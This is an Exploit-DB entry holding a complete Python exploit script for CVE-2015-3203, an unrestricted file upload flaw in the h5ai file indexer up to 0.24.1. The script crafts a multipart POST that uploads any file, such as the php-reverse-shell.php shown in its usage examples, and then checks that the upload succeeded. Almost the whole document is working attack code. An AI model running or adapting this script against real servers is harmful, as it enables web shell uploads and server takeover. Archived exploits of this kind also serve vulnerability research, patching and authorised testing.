h5ai < 0.25.0 - Unrestricted Arbitrary File Upload

EDB-ID:

38256


Author:

rTheory

Type:

webapps


Platform:

PHP

Date:

2015-09-22


#!/usr/bin/env python

# Exploit Title: h5ai < 0.25.0 Unrestricted File Upload
# Date: 21 September 2015
# Exploit Author: rTheory
# Vendor Homepage: https://larsjung.de/h5ai/
# Vulnerable Software Link: https://web.archive.org/web/20140208063613/http://release.larsjung.de/h5ai/h5ai-0.24.0.zip
# Vulnerable Versions: 0.22.0 - 0.24.1
# Tested on: 0.24.0 running on Apache
# CVE : 2015-3203

import urllib
import urllib2
import socket
import os
import getopt
import sys

# Globals with default options
url = ''
path = '/'
fileName = ''
filePath = ''
verboseMode = False

def header():
    print '+-----------------------------------------------+'
    print '| File upload exploit for h5ai v0.22.0 - 0.24.1 |'
    print '|  See CVE-2015-3203 for vulnerability details  |'
    print '+------------------- rTheory -------------------+'

def usage():
    print 
    print 'Usage: %s -t target_url -f upload_file' % os.path.basename(__file__)
    print '-t --target           - The URL to connect to'
    print '                        ex: http://example.com'
    print '-f --file             - The file to upload'
    print '                        ex: php-reverse-shell.php'
    print '-p --path             - The path to upload to'
    print '                        Default is \'/\''
    print '-v --verbose          - Enable more verbose output'
    print 
    print 'Examples:'
    print '%s -t http://example.com:8080 -f php-reverse-shell.php' % os.path.basename(__file__)
    print '%s -t http://192.168.1.100 -f php-reverse-shell.php -p /dir/' % os.path.basename(__file__)
    sys.exit(0)
    
def main():
    global url
    global path
    global fileName
    global filePath
    global verboseMode
    
    header()
    
    if not len(sys.argv[4:]):
        print '[-] Incorrect number of arguments'
        usage()
        
    try:
        opts, args = getopt.getopt(sys.argv[1:],"ht:f:p:v", ["help","target","file","path","verbose"])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ('-h','--help'):
            usage()
        elif o in ('-t','--target'):
            url = a
        elif o in ('-f','--file'):
            fileName = a
        elif o in ('-p','--path'):
            path = a
        elif o in ('-v','--verbose'):
            verboseMode = True
        else:
            assert False,"Unhandled Option"
        
    # Test target URL, target file, and path inputs for validity
    if not url.startswith('http'):
        print '[-] Error: Target URL must start with http:// or https://'
        usage()
    if not os.path.isfile(fileName):
        print '[-] Error: File does not appear to exist'
        usage()
    if not (path.startswith('/') and path.endswith('/')):
        print '[-] Error: Path must start and end with a \'/\''
        usage()
    
    # Determine target host, which is the URL minus the leading protocol
    if url.find('http://') != -1:
        host = url[7:]
    elif url.find('https://') != -1:
        host = url[8:]
    else:
        host = url
    
    # Store the contents of the upload file into a string
    print '[+] Reading upload file'
    f = open(fileName,'r')
    fileContents = f.read()
    f.close()
    
    MPFB = 'multipartformboundary1442784669030' # constant string used for MIME info

    # Header information. Content-Length not needed.
    http_header = {
        "Host" : host,
        "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
        "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language" : "en-us,en;q=0.5",
        "Accept-Encoding" : "gzip, deflate",
        "Content-type" : "multipart/form-data; boundary=------" + MPFB,
        "X-Requested-With" : "XMLHttpRequest",
        "Referer" : url + path, 
        "Connection" : "keep-alive"
    }

    # POST parameter for file upload
    payload  = '--------'+MPFB+'\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n'
    payload += '--------'+MPFB+'\r\nContent-Disposition: form-data; name="href"\r\n\r\n'+path+'\r\n'
    payload += '--------'+MPFB+'\r\nContent-Disposition: form-data; name="userfile"; filename="'+fileName+'"\r\nContent-Type: \r\n\r\n'+fileContents+'\r\n'
    payload += '--------'+MPFB+'--\r\n'

    socket.setdefaulttimeout(5)
    opener = urllib2.build_opener()
    req = urllib2.Request(url, payload, http_header)

    # submit request and print output. Expected: "code 0"
    try:
        print '[+] Sending exploit POST request'
        res = opener.open(req)
        html = res.read()
        if verboseMode: print '[+] Server returned: ' + html
    except:
        print '[-] Socket timed out, but it might still have worked...'

    # close the connection
    opener.close()

    # Last step: check to see if the file uploaded (performed outside of this function)
    filePath = url + path + fileName
    print '[+] Checking to see if the file uploaded:'
    print '[+] ' + filePath 

def postCheck():
    # Check to see if the file exists
    # This may work now that everything from main() was torn down
    global filePath
    try:
        urllib2.urlopen(filePath)
        print '[+] File uploaded successfully!'
    except urllib2.HTTPError, e:
        print '[-] File did not appear to upload'
    except urllib2.URLError, e:
        print '[-] File did not appear to upload'
    
main()
postCheck()